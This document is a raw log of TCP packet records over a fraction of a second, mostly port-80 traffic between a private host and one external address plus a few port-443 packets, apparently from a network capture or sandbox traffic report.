May 28, 2023 10:42:43.052248001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052304983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052345991 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052362919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052407026 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052423000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052468061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052503109 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052525043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052583933 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052589893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052609921 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052648067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052665949 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052712917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052716970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052766085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052828074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052829027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052843094 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052886963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052891970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052948952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052993059 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053008080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053044081 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053055048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053075075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053119898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053164959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053210974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053225994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053277016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053286076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053317070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053344011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053390026 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053407907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053425074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053461075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053508043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053519011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053567886 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053627968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053668976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053688049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053731918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053746939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053785086 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053809881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053827047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053889036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053913116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053944111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.053972006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.053998947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.054039955 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.054058075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.054104090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.054146051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.054161072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.054208040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.054250956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.054271936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.054451942 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.078875065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.078936100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.078984976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.079046965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.079061985 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.079096079 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.079103947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.079148054 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.079168081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.079194069 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.079274893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.103743076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.103812933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.103843927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.103868961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.103914022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.103962898 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.103964090 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.103977919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104022026 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104038000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104084969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104125977 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104144096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104190111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104249954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104254007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104331017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104389906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104392052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104440928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104454041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104496002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104496002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104509115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104554892 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104569912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104614019 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104629040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104676008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104732037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104734898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104783058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104829073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.104841948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.104950905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105001926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105015039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105063915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105104923 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105122089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105168104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105210066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105226040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105278969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105330944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105338097 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105385065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105441093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105473995 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105489016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105535984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105545998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105592966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105633020 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105652094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105709076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105741024 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105766058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105824947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105856895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105856895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105884075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.105907917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.105941057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106000900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106061935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106064081 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106064081 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106112003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106128931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106174946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106235981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106276989 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106287003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106348991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106396914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106420994 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106461048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106478930 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106478930 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106479883 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.106513977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106549978 CEST	443	49707	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.106559992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106605053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106671095 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.106677055 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106677055 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106722116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106775045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106782913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106829882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106878042 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106889963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106936932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.106985092 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.106997013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107043028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107089043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.107101917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107150078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107196093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.107208014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107259989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107306957 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.107317924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107362986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107410908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.107422113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107467890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107511997 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.107527971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107574940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.107589006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107635021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107680082 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.107693911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107742071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107791901 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.107803106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107848883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107894897 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.107907057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.107954025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108000040 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108016968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108053923 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108078003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108078003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108134031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108139992 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108192921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108196974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108242035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108305931 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108305931 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108330965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108382940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108402967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108442068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108449936 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108498096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108508110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108558893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108561993 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108613968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108619928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108666897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108752012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108763933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108819962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108872890 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108872890 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.108880997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108944893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.108958006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.109003067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.109051943 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.126111031 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.126153946 CEST	443	49707	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.133553982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.133650064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.133687973 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.133688927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.133725882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.133764982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.133773088 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.133802891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.133846998 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.133851051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.133889914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.133930922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.133941889 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.133970976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134007931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134017944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.134047031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134084940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.134085894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134125948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134145021 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.134164095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134202957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134242058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134244919 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.134294033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134311914 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.134332895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134372950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.134413958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.135282040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135351896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135375023 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.135406971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135452032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135463953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.135498047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135543108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135560036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.135588884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135638952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135682106 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.135694027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135740995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135782957 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.135787964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135834932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135845900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.135881901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135925055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135970116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.135971069 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136014938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136030912 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136059999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136105061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136151075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136214972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136284113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136334896 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136337996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136400938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136416912 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136451006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136496067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136512995 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136544943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136600971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136645079 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136647940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136693001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136727095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136739969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136782885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136811972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136826992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136874914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136915922 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.136919022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.136965036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137008905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137010098 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137053967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137098074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137101889 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137142897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137182951 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137186050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137231112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137276888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137279987 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137320995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137367010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137368917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137412071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137471914 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137474060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137521029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137562037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137564898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137612104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137619972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137660027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137705088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137725115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137752056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137800932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137825966 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137846947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137892962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.137932062 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.137943029 CEST	80	49704	45.9.74.80	192.168.2.3
